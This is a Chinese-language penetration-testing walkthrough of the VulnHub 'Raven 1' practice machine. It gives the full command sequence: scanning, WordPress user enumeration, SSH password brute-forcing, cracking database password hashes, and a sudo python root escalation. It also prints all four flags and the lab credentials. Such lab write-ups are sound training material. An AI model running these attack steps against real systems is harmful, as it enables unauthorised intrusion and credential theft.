Raven 1
一、有效资产收集
资产编号 | 资产分类 | 资产名称 | 资产规格 | 访问地址 | 备注/问题 |
---|---|---|---|---|---|
Raven1 | 主机系统 | Ubuntu操作系统 | Type:Linux IP:192.168.101.135 Port:22、80、111、40695 |
192.168.101.135 | openSSH版本较低导致的用户枚举和栈溢出,wordpress存在敏感信息泄露 |
flag:
==flag1{b9bbcb33e11b80be759c4e844862482d}==
==flag2{fc3fd58dcdad9ab23faca6e9a36e581c}==
==flag3{afc01ab56b50591e7dccf93122770cd2}==
==flag4{715dea6c055b9fe3337544932f2941ce}==
靶机下载地址:https://www.vulnhub.com/entry/raven-1,256/
二、渗透测试过程
kali攻击机ip为192.168.101.128
1. 信息收集
- 通过netdiscover进行二层发现,发现地址为192.168.101.135主机
其他几个主机分别代表:
- 192.168.101.1 物理机
- 192.168.101.2 网关
- 192.168.101.254 DHCP服务器
1 | netdiscover -r 192.168.101.0/24 |
- 通过ping进行三层发现,根据ttl=64初步推测该主机为Linux
1 | ping 192.168.101.135 |
- 通过masscan四层发现目标主机开放端口
1 | masscan -p0-65535 --rate=10000 192.168.101.135 |
masscan:高速端口扫描工具。参数如下:
- -p:指定要扫描的端口范围,可以是单个端口如-p80,443或者多个端口-p1-65535
- –rate:指定扫描速率,即每秒扫描多少个端口,默认速率10000
- -iL:指定要扫描的IP地址列表,可以是一个文件,也可以是一个逗号分隔的IP地址列表
- -oL:指定输出扫描结果的文件名,可以是一个文件,也可以是一个目录
目标主机开启了80web服务端口,40695端口,111端口
扫描目标端口服务
1
nmap -A -p- -sC -T4 -sS -P0 192.168.101.135 -oN nmap.A
- -A 使用操作系统检测、版本检测等选项
- -p- 扫描目标主机所有端口(1-65535)
- -sC 使用默认的Nmap脚本扫描
- -T4 设置扫描速度为”快”
- -sS 使用SYN扫描(半开放扫描)
- -P0 禁用ping,不进行主机存活扫描
- -oN nmap.A 将扫描结果输出到文件”nmap.A”中,格式为正常输出
- 目标开启了以下端口及服务:
- 22端口,服务为OpenSSH 6.7p1;且系统为Debian 5 +deb8u4
- 80端口,服务为Apacha 2.4.10
- 111端口,服务为rpcbind
- 40695端口,服务为rpc
使用Nmap中漏洞分类NSE脚本对目标进行探测
1 | nmap -sV --script vuln 192.168.101.135 |
可以看到有很多现成的CVE可以用
对网站进行指纹识别:
1 | whatweb 192.168.101.135 |
没有有效的web服务信息
在exploit-db上搜索ssh对应版本的漏洞,或者searchspolit,目标服务器的openssh有用户名枚举漏洞
seebug上看到目标主机存在信息泄露和缓冲区溢出漏洞,还有2010年的拒绝服务漏洞(因该漏洞等级较低,实施拒绝服务也较困难所以无视)
==192.168.101.135主机的22端口存在信息泄露和缓冲区溢出漏洞,seebug还有searchspolit都能找到对应的poc,该轮信息扫描可以用来进行下一步的ssh爆破或溢出漏洞攻击。该信息泄露漏洞定义为中危==
访问其web服务:
在其service.html源码里找到flag1:
==flag1{b9bbcb33e11b80be759c4e844862482d}==
- 目录扫描:
1 | dirb 192.168.101.135 |
目标网站存在vendor目录,访问一下,发现存在敏感目录遍历
vendor目录一般是指在项目中用于存放第三方库、框架、插件等外部依赖的目录。
还有wordpress目录,该站应该是一个wordpress的框架
- wappalzer分析:
在目录可以看到使用了PGPMailer(功能齐全的PHP电子邮件创建和传输类)
VERSION目录找到了PHPMailer版本号为5.2.16
进入到BLOG,看到wordpress网站后台登录入口:
点击之后,会跳转到http://raven.local/wordpress/wp-login.php
。但是无法连接到raven.local,考虑是dns解析错误。添加域名到hosts文件
- 编辑hosts文件,使raven.local解析到靶机ip,写完之后清除一下dns缓存
1 | 192.168.101.135 raven.local |
1 | ipconfig /flushdns |
2. 漏洞扫描
WPscan工具
用WPscan来探测WordPress的漏洞,暴力枚举用户名:
1 | wpscan --url http://192.168.101.135/wordpress/ -eu |
爆破到了两个用户名,分别是:michael
steven
hydra工具暴力破解
把这两个用户名写入user.txt,用hydra进行密码爆破登录SSH:
kali本身有自带的密码字典:rockyou
1 | gzip -d /usr/share/wordlists/rockyou.txt.gz |
ssh的用户michael密码为michael:
尝试进行ssh登录:
1 | ssh michael@192.168.101.135 |
ssh登录成功,获得低权限shell
3. 漏洞利用
- find命令寻找flag2:
1 | find / -name *flag* 2>/dev/null |
这个命令的作用是在Linux系统中查找文件名中包含“flag”字符串的文件,并将结果输出到控制台。
- 从根目录查找
*
为通配符,表示文件名中含有flag字符串- 2为错误输出,/dev/null特殊设备用于丢弃所有数据。
2>/dev/null
表示忽略所有错误信息
找到flag2:==flag2{fc3fd58dcdad9ab23faca6e9a36e581c}==
登录Mysql
查看Mysql是否在运行
1 | ps -ef | grep mysql |
切换到wordpress目录,发现config配置文件:
1 | cd /var/www/html/wordpress |
找到数据库账号root,密码R@v3nSecurity。Mysql登录
1 | mysql -u root -p |
查看mysql数据库:
获取数据库的flag3,flag4:
在wordpress.wp_posts里面找到了flag3和flag4
==flag3{afc01ab56b50591e7dccf93122770cd2}==
==flag4{715dea6c055b9fe3337544932f2941ce}==
数据库提权
在wordpress.wp_users里找到了两组数据库账号和密码
用户名分别为michael
和steven
密码加密后如下:
1 | michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
- john解密:
把上面steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
写进1.txt,使用john工具解密:
1 | john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt |
找到steven密码pink84
提权
使用python pty提权
1 | sudo python -c 'import pty; pty.spawn("/bin/bash");' |
michael用户进行python提权时,由于michael用户没有被赋予sudo执行python的权限,所以提权失败,并且该事件还被记录了
ssh登录steven之后再尝试提权:
1 | ssh steven@192.168.101.135 |
steven是具有python sudo权限的,在sudoers里存在:
1 | steven ALL=(ALL) NOPASSWD: /usr/bin/python |
授予普通用户以root权限执行Python脚本(实战用不了一点)
用find命令或者直接找,在~目录下也能找到flag4
本次渗透测试完毕